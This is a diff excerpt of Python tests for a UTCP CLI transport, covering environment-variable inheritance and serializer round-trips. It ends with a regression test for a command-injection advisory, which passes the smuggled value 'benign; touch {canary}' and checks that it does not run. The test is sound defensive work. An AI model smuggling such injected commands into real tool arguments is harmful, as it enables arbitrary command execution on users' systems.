+ assert env == {"PATH": "/usr/bin"}
335
+ # Specifically: never None values.
336
+ for v in env.values():
337
+ assert v is not None
338
+ assert isinstance(v, str)
339
+
340
+
341
+ class TestInheritEnvVarsSerialization:
342
+ """Pydantic round-trip: inherit_env_vars must preserve the
343
+ None / [] / [...] distinction when a CliCallTemplate flows through
344
+ the serializer (and thus through OpenAPI / JSON manuals).
345
+ """
346
+
347
+ def test_round_trip_preserves_none(self):
348
+ from utcp_cli.cli_call_template import CliCallTemplateSerializer
349
+
350
+ tpl = CliCallTemplate(commands=[{"command": "x"}])
351
+ d = CliCallTemplateSerializer().to_dict(tpl)
352
+ # Either omitted or explicitly null is acceptable, but it must
353
+ # not silently become `[]`.
354
+ assert d.get("inherit_env_vars", None) is None
355
+ rebuilt = CliCallTemplateSerializer().validate_dict(d)
356
+ assert rebuilt.inherit_env_vars is None
357
+
358
+ def test_round_trip_preserves_empty_list(self):
359
+ from utcp_cli.cli_call_template import CliCallTemplateSerializer
360
+
361
+ tpl = CliCallTemplate(
362
+ commands=[{"command": "x"}], inherit_env_vars=[]
363
+ )
364
+ d = CliCallTemplateSerializer().to_dict(tpl)
365
+ assert d["inherit_env_vars"] == []
366
+ rebuilt = CliCallTemplateSerializer().validate_dict(d)
367
+ assert rebuilt.inherit_env_vars == []
368
+
369
+ def test_round_trip_preserves_listed_names(self):
370
+ from utcp_cli.cli_call_template import CliCallTemplateSerializer
371
+
372
+ tpl = CliCallTemplate(
373
+ commands=[{"command": "x"}],
374
+ inherit_env_vars=["PATH", "OPENAI_API_KEY"],
375
+ )
376
+ d = CliCallTemplateSerializer().to_dict(tpl)
377
+ assert d["inherit_env_vars"] == ["PATH", "OPENAI_API_KEY"]
378
+ rebuilt = CliCallTemplateSerializer().validate_dict(d)
379
+ assert rebuilt.inherit_env_vars == ["PATH", "OPENAI_API_KEY"]
380
+
381
+
382
+ # ---------------------------------------------------------------------------
383
+ # End-to-end: drive the real subprocess and confirm the injection payload
384
+ # does NOT escape its placeholder. Skipped on Windows because the mock
385
+ # script + bash assumptions don't apply identically.
386
+ # ---------------------------------------------------------------------------
387
+
388
+ @pytest.mark.skipif(os.name == "nt", reason="bash payload assumptions")
389
+ @pytest.mark.asyncio
390
+ async def test_no_command_injection_via_tool_args_unix(tmp_path):
391
+ """Run the real shell pipeline with a malicious tool_arg and confirm
392
+ the injected `touch` never runs.
393
+ """
394
+ transport = CliCommunicationProtocol()
395
+
396
+ canary = tmp_path / "pwned"
397
+
398
+ script = tmp_path / "echo_arg.py"
399
+ script.write_text(
400
+ "import sys\n"
401
+ "print('arg:' + sys.argv[1])\n"
402
+ )
403
+
404
+ call_template = CliCallTemplate(
405
+ commands=[
406
+ {"command": f"{sys.executable} {script} UTCP_ARG_value_UTCP_END"}
407
+ ]
408
+ )
409
+
410
+ payload = f"benign; touch {canary}"
411
+ result = await transport.call_tool(
412
+ None, "echo_arg", {"value": payload}, call_template
413
+ )
414
+
415
+ assert not canary.exists(), (
416
+ "Command injection regression (GHSA-33p6-5jxp-p3x4): "
417
+ "the `; touch` payload escaped the placeholder and ran."
418
+ )
419
+ # The script should have observed the literal payload.
420
+ assert "benign; touch" in str(result)
File without changes
File without changes